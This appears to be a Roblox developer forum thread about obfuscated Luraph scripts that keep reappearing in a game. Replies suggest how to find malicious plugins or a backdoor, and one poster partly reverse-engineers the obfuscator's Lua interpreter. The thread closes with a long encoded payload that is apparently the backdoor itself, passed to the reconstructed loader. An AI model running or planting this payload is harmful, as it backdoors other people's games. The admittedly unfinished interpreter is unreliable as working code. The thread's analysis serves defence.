An untraceable route of obfuscated scripts is lurking in my game

When you delete all the scripts do they come back?

Yes, they do come back. XXXXXXXXXXX

Then there is ether a script your not seeing or you missed a malicious plugin. Try searching for anything with “require”. Or alternatively you can try and download some plugins that try and find these scripts.

2 Likes

Then there is ether a script your not seeing or you missed a malicious plugin. Try searching for anything with “require”. Or alternatively you can try and download some plugins that try and find these scripts.

If they come back without you needing to run the game, it’s 100% a plugin (either one you’ve got or one that somebody else in the team has). Take it in turns to close and open the place to discover which one of you has the bad plugin. Once you’ve narrowed it down to a person, have them disable all plugins and progressively enable each one until the scripts return.

If instead they only come back when you run the game, then it could either be a plugin or you missed a script. Instead of searching for a random term like Luraph, which might not be in the problem script, instead just search for Script in the Explorer pane and delete any scripts that are not part of the game’s codebase. If the previous programmer didn’t leave any sort of user-guide or instructions then that’s not great practice, but in this case you might be able to open each script, if it’s obfuscated then delete it, and then try to run the game once they’re all gone.

If you find the game fails to run without the obfuscated scripts then the previous programmer has made this incredibly difficult for you and their behaviour is very suspicious. Consider the possibility of a potential backdoor in this final case, which would require you to rip out the old code and recreate the functionality.

5 Likes

Luraph is the obfuscator developed by an exploiter/scripter, memcorrupt.
Due to this, this is probably a backdoor.
To my extent of knowledge, Luraph is almost impossible to deobfuscate.
My advice would be to go through each script of your game or review your PLUGINS. Malicious plugins may have caused this, so review them and find out if they are the reason behind this.
If you cannot find the source behind this, start over for your game or revert back to a version of your game until these scripts do not appear.
Good luck.

2 Likes

Yeah, we found some dude who had blackmailed one of our devs with his address. We ended up getting the dude to remove our game and IPs from his database because the FBI got involved.

4 Likes

Script 1 contains an interpreter. I don’t have time to… but I’m decoding it anyways :smile:. Just finished making sense of this function from script 1:

	local function getDoubleFP() 
		local a, b = getDoubleWord(), getDoubleWord()
		if a == 0 and b == 0 then
			return 0
		end
		return (-decode(b, 32) * 2 ^ (decode(b, 21, 31) - 1023) * ((decode(b, 1, 20) * 2^32 + a) / 2^52 + 1)
	end

I recognized it as the format for floating point numbers… someone with a degree of intelligence made this interpreter. (I can also tell because even the obfuscated code makes sense, they have good style!) It may be that the script kiddies who made this took this interpreter from a reputable source. If I stop working on it, I’ll post what I’ve got so far.

I’ve noticed that the obfuscation does a simple text replacement for variables names. The same variable name in the obfuscated source is ALWAYS the same variable name in the original source. I know this because variables with the same name are used in the same sorts of places. For example, iterators are commonly the same name.

2 Likes

I’m getting pretty far with parsing the interpreter. Once it is done, you can run it on the hexcode strings embedded in the 3 obfuscated scripts.

BTW, the attacker probably got your developer’s physical address from his IP. In studio if you have HttpEnabled on while developing then all HTTP messages are sent and received from your computer. The bad news is that your IP can be seen by attackers that phone home. The good news is that we can also find out how they phoned home. Where any threats made? If so this is a serious issue and we may have a way to track them down.

I’d be impressed if the attacker gave the full address, was it in the same city / area instead of exact? Generally ISPs don’t release the exact addresses for every IP (for obvious security reasons).

BTW, it seems that whoever made the interpreter wasn’t involved in the attack; the attackers used a prebuilt one. It even has debug info / line numbers in it…

Update: It is a Lua interpreter. I see the Bx, sBx, and other portions of the lua 5.1 bytecode format. Does anyone remember why there is a variable in the chunk header that holds an index dividing the register indexes from the [some other list] index? For example, in an instruction if an index is above this threshold, than it isn’t a register but a different type? The parser is zero index based, so it seems to be a translation from another language.

4 Likes

Alright, here is what I’ve got. Unfortunately I have other tasks I need to take scare of so I’ll pass on the baton to whoever has an interest in solving this problem. It may be awhile before I can sink more time into this.

From what I can tell, the interpreter has some modifications. There are also some internals that I was not aware of, so perhaps someone with more Lua interpreter knowledge can help out.

local i = 1

local function parse(source, env) 
	local llil1i1iIiIIiIil1li source = string.gsub(string.sub(source, 5), "..", function(str)
		if string.byte(str, 2) == 71 then
			llil1i1iIiIIiIil1li = tonumber(string.sub(str, 1, 1))
			return ""
		else 
			local hexcode = string.char(tonumber(str, 16))
			if llil1i1iIiIIiIil1li then
				local IlIi11I1i11l1IlIIli = string.rep(hexcode, llil1i1iIiIIiIil1li)
				llil1i1iIiIIiIil1li = nil
				return IlIi11I1i11l1IlIIli
			else
				return hexcode
			end
		end
	end

	local function getByte() 
		local a = string.byte(source, i, i)
		i = i + 1
		return a
	end

	local function getDoubleword() 
		local a, b, c, d = string.byte(source, i, i + 3)
		i = i + 4
		return d * 256^3 + c * 256^2 + b * 256 + a
	end

	local function decode(num, base, base_final)
		if base_final then
			local sum, place = 0, 0
			for j = base, base_final do
				sum = sum + 2 ^ place * decode(num, j)
				place = place + 1
			end
			return sum
		else
			return (base/2) <= num % base and 1 or 0
		end
	end

	local function getDoubleFP() 
		local a, b = getDoubleword(), getDoubleword()
		if a == 0 and b == 0 then
			return 0
		end
		return (-decode(b, 32) * 2 ^ (decode(b, 21, 31) - 1023) * ((decode(b, 1, 20) * 2^32 + a) / 2^52 + 1)
	end

	local function getMaskedDoubleword(mask) 
		local bytes = { string.byte(source, i, i + 3) }
		i = i + 4

		local bit_mask = { nil, nil, nil, nil, nil, nil, nil, nil }
		for j = 1, 8 do
			bit_mask[j] = decode(mask, j)
		end

		local result = {}
		for j = 1, 4 do
			local raw_byte = bytes[j]
			local byte, place = 0, 0
			for k = 1, 8 do
				local bit = decode(raw_byte, k)
				if bit_mask[k] == 1 then
					bit = bit == 1 and 0 or 1
				end
				byte = byte + 2 ^ place * bit
				place = place + 1
			end
			result[j] = byte
		end

		local a, b, c, d = unpack(result)
		return d * 256^3 + c * 256^2 + b * 256 + a
	end

	local function getMaskedString(mask) 
		local len = getDoubleword()
		i = i + len 
		local bit_mask = { nil, nil, nil, nil, nil, nil, nil, nil }
		for j = 1, 8 do
			bit_mask[j] = decode(mask, j)
		end

		local str = ""
		for j = 1, len do
			local byte, place = 0, 0
			for k = 1, 8 do
				local bit = decode(string.byte(source, i - len + j - 1), k)
				if bit_mask[k] == 1 then
					bit = bit == 1 and 0 or 1
				end
				byte = byte + 2 ^ place * bit
				place = place + 1
			end
			str = str .. str.char(byte)
		end
		return str
	end

	local string_mask = getByte() 
	local dw_mask = getByte() 
	local function parseChunk() 
		local state = {
			['instructions'] = {},
			['lines'] = {},
			['constants'] = {},
			['functions'] = {}
		}

		getByte()
		getDoubleword()
		getDoubleword()

		state[91457] = getByte()
		for j = 1, getDoubleword() - 133760 do
			local value = {} 
			local base = getMaskedDoubleword(dw_mask)
			value['Bx'] = decode(base, 1, 18)
			value['C'] = decode(base, 10, 18)
			value['opcode'] = decode(base, 27, 32)
			value['B'] = decode(base, 1, 9)
			value['A'] = decode(base, 19, 26)
			state['instructions'][j] = value
		end

		state['registers'] = getByte()

		getDoubleword() 

		for j = 1, getDoubleword() - 133737 do
			local values = {} 
			local bytecode = getByte()
			if bytecode == 240 then
				values['data'] = true
			elseif bytecode == 192 then
				values['data'] = getMaskedString(120)
			elseif bytecode == 139 then
				values['data'] = false
			elseif bytecode == 42 then
				values['data'] = getDoubleFP()
			elseif bytecode == 0 then
				values['data'] = getDoubleword()
			elseif bytecode == 231 then
				values['data'] = getByte()
			elseif bytecode == 231 then
				values['data'] = getByte() + getDoubleword() + getDoubleFP()
			elseif bytecode == 201 then
				values['data'] = getDoubleword()
			elseif bytecode == 40 then
				values['data'] = getMaskedString(string_mask)
			end
			state['constants'][j - 1] = values
		end

		getDoubleword()
		getByte()
		getDoubleword()
		getByte()

		for j = 1, getDoubleword() do
			state['lines'][j] = getDoubleword()
		end

		state[24370] = getByte()
		for j = 1, getDoubleword() do
			state['functions'][j - 1] = parseChunk()
		end

		getDoubleword()
		getByte()
		getByte()
		getByte()

		return state
	end

	local function execute(state, env, scope) 
		local instructions = state['instructions'] 
		local constants = setmetatable({}, {
			__index = function(self, key)
				local constant = state['constants'][key]
				if string.sub(type(constant['data']), 1, 1) == "s" then
					return {
						['data'] = string.sub(constant['data'], 3)
					}
				end
				return constant
			end
		}) 
		local functions = state['functions']
		local II1i1lIIiI111iIiIl1 = state[24370]
		local lines = state['lines']
		local function main(...) 
			local lIi11iiII1ii11ilIIl = 0 
			local registers = { unpack({}, 1, state['registers']) } 
			local PC = 1 
			local sub_scopes = {} 
			local I111ilIlilliiIilIll = {} 
			local Il1I1II1i1I11IlIi1i = 1 
			local env = getfenv()
			local args = { ... } 
			local lIlilIii1Ii1Il1ili1ll = {}

			local numArgs = #args - 1
			for j = 0, numArgs do
				if II1i1lIIiI111iIiIl1 >= j + 1 then
					registers[j] = args[j + 1]
				end
				lIlilIii1Ii1Il1ili1ll[j] = args[j + 1]
			end

			local function getNArgs(...)
				return select("#", ...), { ... }
			end

			local actions
			actions = {
				function(instruction)
					-- LT
					local B = instruction['B'] 
					local A = instruction['A'] 
					local Bx = instruction['Bx'] 
					local sBx = instruction['sBx'] - 131071 
					local C = instruction['C']
					A = A ~= 0
					if B > 255 then
						B = constants[B - 256]['data']
					else
						B = registers[B]
					end
					if Bx > 255 then
						Bx = constants[Bx - 256]['data']
					else
						Bx = registers[Bx]
					end
					if B < Bx ~= A then
						PC = PC + 1
					end
				end,
	 			function(instruction) 
					local A = instruction['A'] 
					local sBx = instruction['sBx'] - 131071 
					local B = instruction['B'] 
					local Bx = instruction['Bx'] 
					local C = instruction['C']
					PC = PC + sBx
				end,
	 			nil,
	 			function(instruction) 
					local A = instruction['A'] 
					local Bx = instruction['Bx'] 
					local C = instruction['C'] 
					local B = instruction['B'] 
					local sBx = instruction['sBx'] - 131071
					if B > 255 then
						B = constants[B - 256]['data']
					else
						B = registers[B]
					end
					if Bx > 255 then
						Bx = constants[Bx - 256]['data']
					else
						Bx = registers[Bx]
					end
					registers[A] = B - Bx
				end,
	 			nil,
	 			function(instruction) 
					local C = instruction['C'] 
					local sBx = instruction['sBx'] - 131071 
					local A = instruction['A'] 
					local B = instruction['B'] 
					local Bx = instruction['Bx']
					registers[A] = not registers[B]
				end,
				nil,
				function(instruction) 
					local sBx = instruction['sBx'] - 131071 
					local C = instruction['C'] 
					local Bx = instruction['Bx'] 
					local A = instruction['A'] 
					local B = instruction['B'] 
					local offset = B > 0 and B - 1 or numArgs - II1i1lIIiI111iIiIl1
					for j = A, A + offset do
						if j - A <= numArgs then
							registers[j] = lIlilIii1Ii1Il1ili1ll[II1i1lIIiI111iIiIl1 + (j - A)]
						else
							registers[j] = nil
						end
					end
					lIi11iiII1ii11ilIIl = A + offset
				end,
				function(instruction)
					-- LEN
					local A = instruction['A'] 
					local B = instruction['B'] 
					local Bx = instruction['Bx'] 
					local sBx = instruction['sBx'] - 131071 
					local C = instruction['C']
					registers[A] = #registers[B]
				end,
				function(instruction)
					-- FORPREP
					local Bx = instruction['Bx'] 
					local B = instruction['B'] 
					local sBx = instruction['sBx'] - 131071 
					local A = instruction['A'] 
					local C = instruction['C']
					registers[A] = assert(tonumber(registers[A]), "`for` initial value must be a number")
					registers[A + 1] = assert(tonumber(registers[A + 1]), "`for` limit value must be a number")
					registers[A + 2] = assert(tonumber(registers[A + 2]), "`for` step value must be a number")
					registers[A] = registers[A] - registers[A + 2]
					PC = PC + sBx
				end,
				nil,
				nil,
				nil,
				function(instruction) 
					local C = instruction['C'] 
					local Bx = instruction['Bx'] 
					local B = instruction['B'] 
					local sBx = instruction['sBx'] - 131071 
					local A = instruction['A']
					if Bx == 15 then
						return actions[10]({
							['A'] = (A - 181) % 256,
							['B'] = (B - 181) % 256,
							['sBx'] = 0
						})
					end
					for j = A, B do
						registers[j] = nil
					end
				end,
	 			nil,
	 			function(instruction) 
					local B = instruction['B'] 
					local C = instruction['C'] 
					local A = instruction['A'] 
					local sBx = instruction['sBx'] - 131071 
					local Bx = instruction['Bx'] 
					local base = A + 2 
					local IIiIiilIIIiillil11i = {
						registers[A](
							registers[A + 1],
							registers[A + 2])
					}
					for j = 1, Bx do
						registers[base + j] = IIiIiilIIIiillil11i[j]
					end
					if registers[A + 3] ~= nil then
						registers[A + 2] = registers[A + 3]
					else
						PC = PC + 1
					end
				end,
				nil,
				nil,
				function(instruction) 
					local C = instruction['C'] 
					local sBx = instruction['sBx'] - 131071 
					local B = instruction['B'] 
					local A = instruction['A'] 
					local Bx = instruction['Bx']
					if Bx == 190 then
						return actions[21]({ ['A'] = (A - 17) % 256, ['B'] = (B - 17) % 256, ['sBx'] = 0 })
					end
					registers[A] = registers[B]
				end,
				nil,
				function(instruction) 
					local A = instruction['A'] 
					local B = instruction['B'] 
					local C = instruction['C'] 
					local sBx = instruction['sBx'] - 131071 
					local Bx = instruction['Bx'] 
					local IIiIiilIIIiillil11i = registers[B]
					for j = B + 1, Bx do
						IIiIiilIIIiillil11i = IIiIiilIIIiillil11i .. registers[j]
					end
					registers[A] = IIiIiilIIIiillil11i
				end,
				nil,
				function(instruction) 
					local Bx = instruction['Bx'] 
					local C = instruction['C'] 
					local B = instruction['B'] 
					local sBx = instruction['sBx'] - 131071 
					local A = instruction['A'] B = registers[B]
					if Bx > 255 then
						Bx = constants[Bx - 256]['data']
					else
						Bx = registers[Bx]
					end
					registers[A + 1] = B
					registers[A] = B[Bx]
				end,
				function(instruction)
					-- GETGLOBAL
					local Bx = instruction['Bx'] 
					local A = instruction['A'] 
					local C = instruction['C'] 
					local B = instruction['B'] 
					local sBx = instruction['sBx'] - 131071 
					local name
					if C == 100000 then
						name = registers[251]
					else
						name = constants[C]['data']
					end
					registers[A] = env[name]
				end,
				function(instruction) 
					local C = instruction['C'] 
					local A = instruction['A'] 
					local B = instruction['B'] 
					local sBx = instruction['sBx'] - 131071 
					local Bx = instruction['Bx']
					if Bx == 102 then
						return actions[3]({
							['A'] = (A - 99) % 256,
							['B'] = (B - 99) % 256,
							['sBx'] = 0
						})
					end
					if Bx == 153 then
						return actions[8]({
							['A'] = (A - 215) % 256,
							['Bx'] = (B - 215) % 256,
							['sBx'] = 0
						})
					end

					local limit, count, lIiII1lli1l11I1Iiii
					if B == 1 then
						return true
					end
					if B == 0 then
						limit = lIi11iiII1ii11ilIIl
					else
						limit = A + B - 2
					end
					lIiII1lli1l11I1Iiii = {}
					count = 0
					for j = A, limit do
						count = count + 1
						lIiII1lli1l11I1Iiii[count] = registers[j]
					end
					return true, lIiII1lli1l11I1Iiii, count
				end,
				function(instruction) 
					local sBx = instruction['sBx'] - 131071 
					local C = instruction['C'] 
					local B = instruction['B'] 
					local Bx = instruction['Bx'] 
					local A = instruction['A']
					for j = A, #registers do

						local index = Il1I1II1i1I11IlIi1i
						for _, upvalues in next, sub_scopes, nil do
							for name, upvalue in next, upvalues, nil do
								if registers == upvalue[1] and upvalue[2] == j then
									if not I111ilIlilliiIilIll[index] then
										I111ilIlilliiIilIll[index] = registers[j]
										Il1I1II1i1I11IlIi1i = Il1I1II1i1I11IlIi1i + 1
									end
									upvalues[name] = {I111ilIlilliiIilIll, index}
								end
							end
						end
					end
				end,
				function(instruction) 
					local C = instruction['C'] 
					local sBx = instruction['sBx'] - 131071 
					local Bx = instruction['Bx'] 
					local A = instruction['A'] 
					local B = instruction['B']
					if B > 255 then
						B = constants[B - 256]['data']
					else
						B = registers[B]
					end
					if Bx > 255 then
						Bx = constants[Bx - 256]['data']
					else
						Bx = registers[Bx]
					end
					registers[A] = B ^ Bx
				end,
				function(instruction) 
					local B = instruction['B'] 
					local A = instruction['A'] 
					local sBx = instruction['sBx'] - 131071 
					local Bx = instruction['Bx'] 
					local C = instruction['C']
					registers[A] = {
						unpack({}, 1, B > 7999 and 7999 or B)
					}
				end,
				function(instruction) 
					local sBx = instruction['sBx'] - 131071 
					local C = instruction['C'] 
					local A = instruction['A'] 
					local Bx = instruction['Bx'] 
					local B = instruction['B'] 
					local args, results, limit, run
					args = {}
					if B ~= 1 then
						if B ~= 0 then
							limit = A + B - 1
						else
							limit = lIi11iiII1ii11ilIIl
						end
						run = 0
						for j = A + 1, limit do
							run = run + 1
							args[run] = registers[j]
						end
						limit, results = getNArgs(registers[A](unpack(args, 1, limit - A)))
					else
						limit, results = getNArgs(registers[A]())
					end
					if Bx ~= 1 then
						if Bx ~= 0 then
							limit = A + Bx - 2
						else
							limit = limit + A
						end
						run = 0
						for j = A, limit do
							run = run + 1
							registers[j] = results[run]
						end
					end
					lIi11iiII1ii11ilIIl = limit - 1
				end,
				function(instruction) 
					local B = instruction['B'] 
					local A = instruction['A'] 
					local Bx = instruction['Bx'] 
					local sBx = instruction['sBx'] - 131071 
					local C = instruction['C'] 
					local base = (Bx - 1) * 50
					if B == 0 then
						B = lIi11iiII1ii11ilIIl - A
					end
					for j = 1, B do
						registers[A][base + j] = registers[A + j]
					end
				end,
				nil
			}
			actions[17] = function(instruction) 
				local A = instruction['A'] 
				local B = instruction['B'] 
				local Bx = instruction['Bx'] 
				local C = instruction['C'] 
				local sBx = instruction['sBx'] - 131071
				if B > 255 then
					B = constants[B - 256]['data']
				else
					B = registers[B]
				end
				if Bx > 255 then
					Bx = constants[Bx - 256]['data']
				else
					Bx = registers[Bx]
				end
				registers[A][B] = Bx
			end
			actions[15] = function(instruction) 
				local A = instruction['A'] 
				local sBx = instruction['sBx'] - 131071 
				local C = instruction['C'] 
				local Bx = instruction['Bx'] 
				local B = instruction['B']
				registers[A] = scope[B]
			end
			actions[5] = function(instruction) 
				local C = instruction['C'] 
				local B = instruction['B'] 
				local sBx = instruction['sBx'] - 131071 
				local A = instruction['A'] 
				local Bx = instruction['Bx'] 
				local number = registers[A + 2] 
				local i = registers[A] + number
				registers[A] = i
				if number > 0 then
					if i <= registers[A + 1] then
						PC = PC + sBx
						registers[A + 3] = i
					end
				elseif i >= registers[A + 1] then
					PC = PC + sBx
					registers[A + 3] = i
				end
			end
			actions[7] = function(instruction)
				-- CALL
				local Bx = instruction['Bx'] 
				local sBx = instruction['sBx'] - 131071 
				local A = instruction['A'] 
				local B = instruction['B'] 
				local C = instruction['C'] 
				local func = functions[C] 
				local upvalues = {} 
				local sub_scope = setmetatable({}, {
					__index = function(self, key) 
						local upvalue = upvalues[key]
						return upvalue[1][upvalue[2]]
					end
					__newindex = function(self, key, value) 
						local upvalue = upvalues[key]
						upvalue[1][upvalue[2]] = value
					end
				})
				for j = 1, func[91475] do
					local inst = instructions[PC]
					if inst['opcode'] == 2 then
						upvalues[j - 1] = { registers, inst['B'] }
					elseif inst['opcode'] == 5 then
						upvalues[j - 1] = { scope, inst['B'] }
					end
					PC = PC + 1
				end
				if func[91475] > 0 then
					sub_scopes[#sub_scopes + 1] = upvalues
				end
				local result = execute(func, env, sub_scope)
				registers[A] = result
			end
			actions[22] = function(instruction) 
				local B = instruction['B'] 
				local Bx = instruction['Bx'] 
				local sBx = instruction['sBx'] - 131071 
				local C = instruction['C'] 
				local A = instruction['A']
				if Bx > 255 then
					Bx = constants[Bx - 256]['data']
				else
					Bx = registers[Bx]
				end
				registers[A] = registers[B][Bx]
			end
			actions[12] = function(instruction) 
				local sBx = instruction['sBx'] - 131071 
				local C = instruction['C'] 
				local A = instruction['A'] 
				local B = instruction['B'] 
				local Bx = instruction['Bx']
				registers[A] = constants[C]['data']
			end
			actions[31] = function(instruction) 
				local A = instruction['A'] 
				local B = instruction['B'] 
				local C = instruction['C'] 
				local sBx = instruction['sBx'] - 131071 
				local Bx = instruction['Bx']
				if not not registers[A] == (Bx == 0) then
					PC = PC + 1
				end
			end
			actions[20] = function(instruction) 
				local C = instruction['C'] 
				local B = instruction['B'] 
				local sBx = instruction['sBx'] - 131071 
				local A = instruction['A'] 
				local Bx = instruction['Bx']
				if B > 255 then
					B = constants[B - 256]['data']
				else
					B = registers[B]
				end
				if Bx > 255 then
					Bx = constants[Bx - 256]['data']
				else
					Bx = registers[Bx]
				end
				registers[A] = B * Bx
			end
			actions[11] = function(instruction) 
				local sBx = instruction['sBx'] - 131071 
				local Bx = instruction['Bx'] 
				local C = instruction['C'] 
				local B = instruction['B'] 
				local A = instruction['A'] 
				local args, results, limit, run
				args = {}
				run = 0
				if B ~= 1 then
					if B ~= 0 then
						limit = A + B - 1
					else
						limit = lIi11iiII1ii11ilIIl
					end
					for j = A + 1, limit do
						run = run + 1
						args[run] = registers[j]
					end
					limit, results = getNArgs(
						registers[A](
							unpack(args, 1, limit - A)
						)
					)
				else
					limit, results = getNArgs(registers[A]())
				end
				return true, results, limit
			end
			actions[13] = function(instruction) 
				-- SETGLOBAL
				local Bx = instruction['Bx'] 
				local C = instruction['C'] 
				local B = instruction['B'] 
				local sBx = instruction['sBx'] - 131071 
				local A = instruction['A'] 
				local name
				if C == 100000 then
					name = registers[251]
				else
					name = constants[C]['data']
				end
				env[name] = registers[A]
			end
			actions[3] = function(instruction) 
				local sBx = instruction['sBx'] - 131071 
				local A = instruction['A'] 
				local B = instruction['B'] 
				local C = instruction['C'] 
				local Bx = instruction['Bx']
				if Bx == 104 then
					return actions[6]({
						['A'] = (A - 44) % 256,
						['B'] = (B - 44) % 256,
						['sBx'] = 0
					})
				end
				if Bx == 117 then
					return actions[27]({
						['A'] = (A - 122) % 256,
						['B'] = (B - 122) % 256,
						['sBx'] = 0
					})
				end
				registers[A] = -registers[B]
			end
			actions[0] = function(instruction) 
				local sBx = instruction['sBx'] - 131071 
				local A = instruction['A'] 
				local Bx = instruction['Bx'] 
				local B = instruction['B'] 
				local C = instruction['C']
				if Bx == 169 then
					return actions[32]({
						['A'] = (A - 191) % 256,
						['B'] = (B - 191) % 256,
						['sBx'] = 0
					})
				end
				if Bx == 25 then
					return actions[4]({
						['A'] = (A - 240) % 256,
						['B'] = (B - 240) % 256,
						['sBx'] = 0
					})
				end
				scope[B] = registers[A]
			end
			actions[18] = function(instruction) 
				local Bx = instruction['Bx'] 
				local B = instruction['B'] 
				local A = instruction['A'] 
				local sBx = instruction['sBx'] - 131071 
				local C = instruction['C'] A = A ~= 0
				if B > 255 then
					B = constants[B - 256]['data']
				else
					B = registers[B]
				end
				if Bx > 255 then
					Bx = constants[Bx - 256]['data']
				else
					Bx = registers[Bx]
				end
				if B == Bx ~= A then
					PC = PC + 1
				end
			end
			actions = {
				actions[1],
				actions[8],
				actions[19],
				actions[6],
				actions[12],
				actions[15],
				actions[0],
				actions[31],
				actions[18],
				actions[9],
				actions[16],
				actions[3],
				actions[22],
				actions[11],
				actions[23],
				actions[10],
				actions[21],
				actions[17],
				actions[5],
				actions[24],
				actions[25],
				actions[28],
				actions[13],
				actions[2],
				actions[30],
				actions[27],
				actions[26],
				actions[4],
				actions[20],
				actions[29],
				actions[7],
				actions[14]
			}

			local function run()
				while true do
					local instruction = instructions[PC]
					PC = PC + 1 
					local success, value, count = actions[instruction['opcode'] + 1](instruction)
					if success then
						return value, count
					end
				end
			end

			local success, value, count = pcall(run)
			if success then
				if value and count > 0 then
					return unpack(value, 1, count)
				end
			else 
				local msg = string.gsub("Luraph Script:" .. (lines[PC - 1] or "") .. ": " .. tostring(value), "[^:]+:%d*: ", function(str)
				if not string.match(str, "Luraph Script:%d") then
					return ""
				end
			end
	 		error(msg, 0)
		end
	end
	setfenv(main, env)
	return main
end

	local chunk = parseChunk()
	return execute(chunk, env)()
end
parse("LPH|ADF651758AD709B498691400870A02002GF6F4AAF72GF68E3GF68E3GF6AE3GF6BAF72GF6823GF6A600F8EF3F176A0A02002A5G00E49440E459A93CE005817542595G00013G00528BD96109DBC4940C003D0B0200F7F6F4AAF72GF68EE02GF6BA3GF6BA2GF6F4AAE02GF6BAF62GF4CEF4F6FEE62GF6F4AABFA40BECF5F2F682F62GF0CEF2F6FAE62GF6F4AA1FA4F7EDF52GF2822GF6FEBA2GF6F4AAE0F6FEBA2GF4FCCEF4F62GE62GF6F4AAF8A4F3EDF5F2FE82F3F6FAE62GF6E6BA2GF6F4AAE0F6E6BAF2F4E4CEF0F6EEE62GF6F4AA2DF7E68AF5F2E682F2F8E4CE2GF6EEBA2GF6F4AAE0F6EEBAF0E6ECC6F4F6F4AAE0F6EEBA2GF6F4AAD1A4FBEDF5F2E682FFF6E2BA2GF6F4AAE0F6E2BAF3E2E0C62GF6F4AAE0F6E2BA2GF6EE8EF32GF6FEF6F2EAA2FDEFE8B2F7F6D6A2F6FCD2A2F8E9D0B2E6D5D0B2E4D1D0B2E3F6DEBA2GF6F4AAE0F6DEBAE0F6DAE62GF6F4AA7CF7DE8AF4F2DE82E2E3D2B2F5F6DEA2F6F0DAA2EFF6C6E6F2C2C0C62GF6F4AAE0F6C2BAFAECC6B6EEEFDAB2EAF6C6E62GF6C2BA2GF6F4AAE0F6C2BAFBE6C0C62GF6F4AAE0F6C2BAFAECC6B6EDEFDAB2EBCBD8B2F6F0C6A2E9F6C2E62GF6CEBA2GF6F4AAE0F6CEBAF8F4CCCED6F6B6E62GF6F4AA3CA4C3EDF5F2CE82F8B4CCCE2GF6B6BA2GF6F4AAE0F6B6BAE6B2B4C6F4F6F4AAE0F6B6BA2GF6F4AA76F7CE8AF5F2CE82FBEAC2B6EEEDC6B2D5F6C2E62GF6CEBA2GF6F4AAE0F6CEBAF8B2CCC62GF6F4AAE0F6CEBAFBEAC2B62GEDC6B2EBCBC4B2F6F0C2A2EEBFC0B2EDF5C2B2EBCBC0B2F5F4DE96E1E3D2B2F7F4D696FBE7EAB2F4BCD4CE9C3A42A72GF6F4AA4AA4EBEDF5F2D682F4BAD0CE903A4EA79D3A4AA72GF6F4AAC1A4D7EDF2F4D2822GF6D2BA2GF6F4AAE0F6D2BAFFF4D0CEF4F6DAE62GF6F4AA75A4D7EDF5F2D282F6F4DEA2E9F6DAE62GF6C6BA2GF6F4AAE0F6C6BAFAF4C4CED6F6CEE62GF6F4AA30A4DBEDF5F2C682FAB4C4CE2GF6CEBA2GF6F4AAE0F6CEBAF8B2CCC6F4F6F4AAE0F6CEBA2GF6F4AA3EF7C68AF5F2C682D1F6C2E6923A32A7FDEADAB6FDE1DEB2FFBCD8CE9B3A36A72GF6F4AADBA4DFEDF5F2DA82983A42A7FFBAD8CEF3F6C2E69B3A32A72GF6F4AA32A4DFEDF2F4DA82E48AB3FE5E6EE2AEA71CFED80FC492EC18490085D57985BF702A24A9BA7BB0DA5BA467EC27E88B90115A66876D920A020028063G002GADCACCC0C8280C3G002GADEAC8D9FEC8DFDBC4CEC8280D3G002GADE52GD9DDFEC8DFDBC4CEC8280A3G002GADEAC8D9ECDED4C3CE28183G002GADC52GD9DDDE972G82CCDDC483C4DDC4CBD483C2DFCA82287D3G002GADC52GD9DDDE972G82C9C4DECEC2DFC9CC2GDD83CEC2C082CCDDC482DAC8CFC52GC2C6DE829B99959C9B9D9F992G9D9E959D989C95989D82D8FFE29EDDF2FD9BDBCEC3C4EFEEC2DCE5EE80EBFEE5F7E8F8E7C7E89F9CC4999CDBC9EED7DAEC99D99EFFE2E780C6E0C5F4DBF7DB95EFFEFA95CEF895EF2G80ECF794FD28143G002GADE0CCDFC6C8D9DDC1CCCEC8FEC8DFDBC4CEC828103G002GADEAC8D9FDDFC2C9D8CED9E4C3CBC228093G002GADFDC1CCCEC8E4C928063G002GADC0CCD9C528083G002GADDFCCC3C9C2C028093G002GADCEC2C3D9C8C3D928023G002GAD28083G002GADC8C0CFC8C9DE28073G002GADD9C4D9C1C8280B3G002GADE4FD8DE1E22GEAE8E9280D3G002GADC9C8DECEDFC4DDD9C4C2C3280E3G002GADC2C0CA8DDEC28DCE2GC2C18C28063G002GADD9D4DDC828063G002GADDFC4CEC528073G002GADCEC2C1C2DF280A3G002GADD9C2C3D8C0CFC8DF2A4G00E0C8EA4028083G002GADCBC4C8C1C9DE28063G002GADC3CCC0C828093G002GADEACCC0C88D808D28063G002GADE3CCC0C828073G002GADDBCCC1D8C8281F3G002GADC52GD9DDDE972G823GDA83DFC2CFC1C2D583CEC2C082CACCC0C8DE8228083G002GADC4C3C1C4C3C88B28113G002GADEACCC0C88DEEDFC8CCD9C2DF8D808D28093G002GADFDC1CCD4C8DFDE28183G002GADEAC8D9E3CCC0C8EBDFC2C0F8DEC8DFE4C9ECDED4C3CE280B3G002GADEEDFC8CCD9C2DFE4C9281F3G002GADC52GD9DDDE972G823GDA83DFC2CFC1C2D583CEC2C082D8DEC8DFDE82280C3G002GADE4FD8DEAFFEC2GEFE8E9280C3G002GADE7FEE2E3E8C3CEC2C9C8280B3G002GADFDC2DED9ECDED4C3CE28083G002GAD8DE4FD8D808D28023G002GAD757CD7472EC02A9A2BEBB49G006G00019G002G00013G00019G002G00013G00033G00039G002G00033G00059G002G00053G00059G002G00053G00063G00079G002G00073G00079G002G00073G00073G00079G002G00079G009G001G00073G00099G002G00099G002G00103G00103G00123G00143G00153G00153G00163G00173G00183G00199G002G00199G002G00193G00193G001A3G001A3G001C3G001C9G002G001C3G001C3G001D3G001D9G002G001D9G002G001D3G001D3G001E3G001F3G00213G00219G002G00213G00219G002G00213G00213G00219G002G00219G009G001G00213G00213G00213G00223G00229G002G00229G002G00223G00223G00233G00243G00263G00273G00283G002A3G002A3G002B3G002B3G002D3G002D9G002G002D3G002E3G002E3G002E9G002G002E3G00309G002G00303G00309G002G00303G00313G00323G00329G002G00323G00329G002G00323G00323G00329G002G00329G009G001G00323G00323G00323G00323G00323G00353G00359G002G00353G00353G00373G00373G00379G002G00373G00374G00013G006D6497031A84D2F431019A0A0200F7F6F4AAF72GF68EF22GF6BA3GF6E6F7F6F2BA2GF6F4AAF2F6F2BAF7F2F0C62GF6F4AAF2F6F2BA953A62A7F5F6FAE62GF6E68E3GF6E2F2F6F2C2E78ABFFEE48AB3FE51D802F633FA9DDD691CEAD974F61CC2428F8E9F565F0FC93938DFC962CD94F2CDE88A8905EFBE140E6F0A020028263G002GAD8GD5804GD580993GD580D43GD5809GD53GD528083G002GADDED9DFC4C3CA28063G002GADCADED8CF28063G002GADF6D5D4F02A5G00E4944028023G002GAD0A79942G727F883E53F3119G006G000B3G000C9G002G000C9G002G000C3G000C3G000F3G000F3G000C3G000F3G00104G00013G00E6A7E22E04C67D896501AF0A0200F7F6F4AA3GF68EF72GF6BA2GF6F4D62GF6F4AA2GF6